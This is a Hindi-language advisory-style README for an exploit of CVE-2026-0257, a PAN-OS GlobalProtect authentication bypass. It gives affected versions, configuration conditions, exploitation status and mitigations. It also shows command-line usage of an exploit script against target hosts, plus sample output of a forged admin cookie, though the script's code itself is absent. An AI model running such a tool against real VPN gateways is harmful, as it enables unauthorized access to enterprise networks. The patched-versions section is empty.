🚨 CVE-2026-0257 - प्रमाणीकरण बायपास कमजोरियाँ

PAN-OS: GlobalProtect प्रमाणीकरण बायपास कमजोरियाँ

GlobalProtect पोर्टल और गेटवे में प्रमाणीकरण बायपास

📌 अवलोकन

CVE-2026-0257 एक प्रमाणीकरण बायपास कमजोरी है जो Palo Alto Networks PAN-OS सॉफ़्टवेयर के GlobalProtect पोर्टल और गेटवे घटकों को प्रभावित करती है।

एक अनधिकृत दूरस्थ हमलावर सुरक्षा प्रतिबंधों को बायपास कर सकता है और प्रभावित फ़ायरवॉल के लिए एक अनधिकृत VPN कनेक्शन स्थापित कर सकता है।

नोट: Panorama और Cloud NGFW प्रभावित नहीं हैं।

⚠️ गंभीरता और स्कोरिंग

वेक्टर (CVSS 4.0 उदाहरण):
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N

📖 विवरण

GlobalProtect पोर्टल और गेटवे में प्रमाणीकरण बायपास कमजोरियाँ हमलावर को सुरक्षा प्रतिबंधों को बायपास करने और एक अनधिकृत VPN कनेक्शन स्थापित करने की अनुमति देती हैं।

समस्या CWE-565: सत्यापन और अखंडता जाँच के बिना कुकीज़ पर निर्भरता से उत्पन्न होती है।

🛠 प्रभावित उत्पाद

• PAN-OS संस्करण निर्धारित रिलीज़ से पहले (10.2, 11.1, 11.2, 12.1)
• Prisma Access (विशिष्ट संस्करण)
• GlobalProtect पोर्टल या गेटवे कॉन्फ़िगर किए गए फ़ायरवॉल

प्रभावित नहीं:

• Panorama
• Cloud NGFW

🔍 कमजोर कॉन्फ़िगरेशन

यह कमजोरी शोषण योग्य होने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है:

1. GlobalProtect पोर्टल या गेटवे कॉन्फ़िगर किया गया है
2. प्रमाणीकरण ओवरराइड कुकीज़ सक्षम हैं
3. प्रमाणीकरण ओवरराइड कुकी एन्क्रिप्शन/डिक्रिप्शन प्रमाणपत्र किसी अन्य सुविधा के साथ पुनः उपयोग किया जाता है

💥 प्रभाव

• आंतरिक नेटवर्क तक अनधिकृत VPN पहुँच
• हमलावरों द्वारा संभावित पार्श्व गति
• बहु-कारक प्रमाणीकरण का बायपास (कुछ सेटअप में)
• उद्यम परिधियों के लिए महत्वपूर्ण जोखिम

संरक्षित नेटवर्क की गोपनीयता और अखंडता पर उच्च प्रभाव।

🔥 शोषण स्थिति

• वास्तविक वातावरण में सक्रिय रूप से शोषित (17 मई, 2026 तक)
• Rapid7 ने सफल शोषण देखा
• Palo Alto Networks ने सीमित शोषण प्रयासों की पुष्टि की
• 29 मई, 2026 को CISA ज्ञात शोषित कमजोरियाँ (KEV) कैटलॉग में जोड़ा गया

⚙️ उपयोग:

python3 CVE-2026-0257.py --target vpn.company.com
python3 CVE-2026-0257.py --target 192.168.1.100 --user administrator --verbose

✅ अपेक्षित सफल आउटपुट:

╔══════════════════════════════════════════════════════════════╗
║         CVE-2026-0257 - GlobalProtect Auth Bypass            ║
║               Public Key Cookie Forging Exploit              ║
║                     Author: 0xBlackash                       ║
╚══════════════════════════════════════════════════════════════╝

[*] Connecting to vpn.company.com:443 to extract certificate chain...
   [+] Found 2048-bit RSA key

[*] Forging authentication cookie for user: admin

[1/1] Trying public key...
   Cookie (first 60 chars): eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

[+] SUCCESS! Authentication Bypass Achieved!
    Username : admin
    Cookie   : eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

✅ पैच और समाधान

निर्धारित संस्करण (तुरंत लागू करें):

Prisma Access में भी संबंधित निर्धारित संस्करण हैं।

🛡️ शमन उपाय

तत्काल वर्कअराउंड (यदि पैचिंग संभव न हो):

• यदि आवश्यक न हो तो प्रमाणीकरण ओवरराइड कुकीज़ अक्षम करें
• GlobalProtect प्रमाणीकरण ओवरराइड के लिए प्रमाणपत्र पुन: उपयोग से बचें
• संदिग्ध VPN कनेक्शनों के लिए GlobalProtect लॉग की निगरानी करें
• प्रबंधन पहुँच को प्रतिबंधित करें और सख्त सुरक्षा नीतियाँ सक्षम करें

🔗 संदर्भ

• आधिकारिक Palo Alto Networks सलाहकार
• NVD विवरण
• Rapid7 विश्लेषण
• CISA KEV कैटलॉग

📅 समयरेखा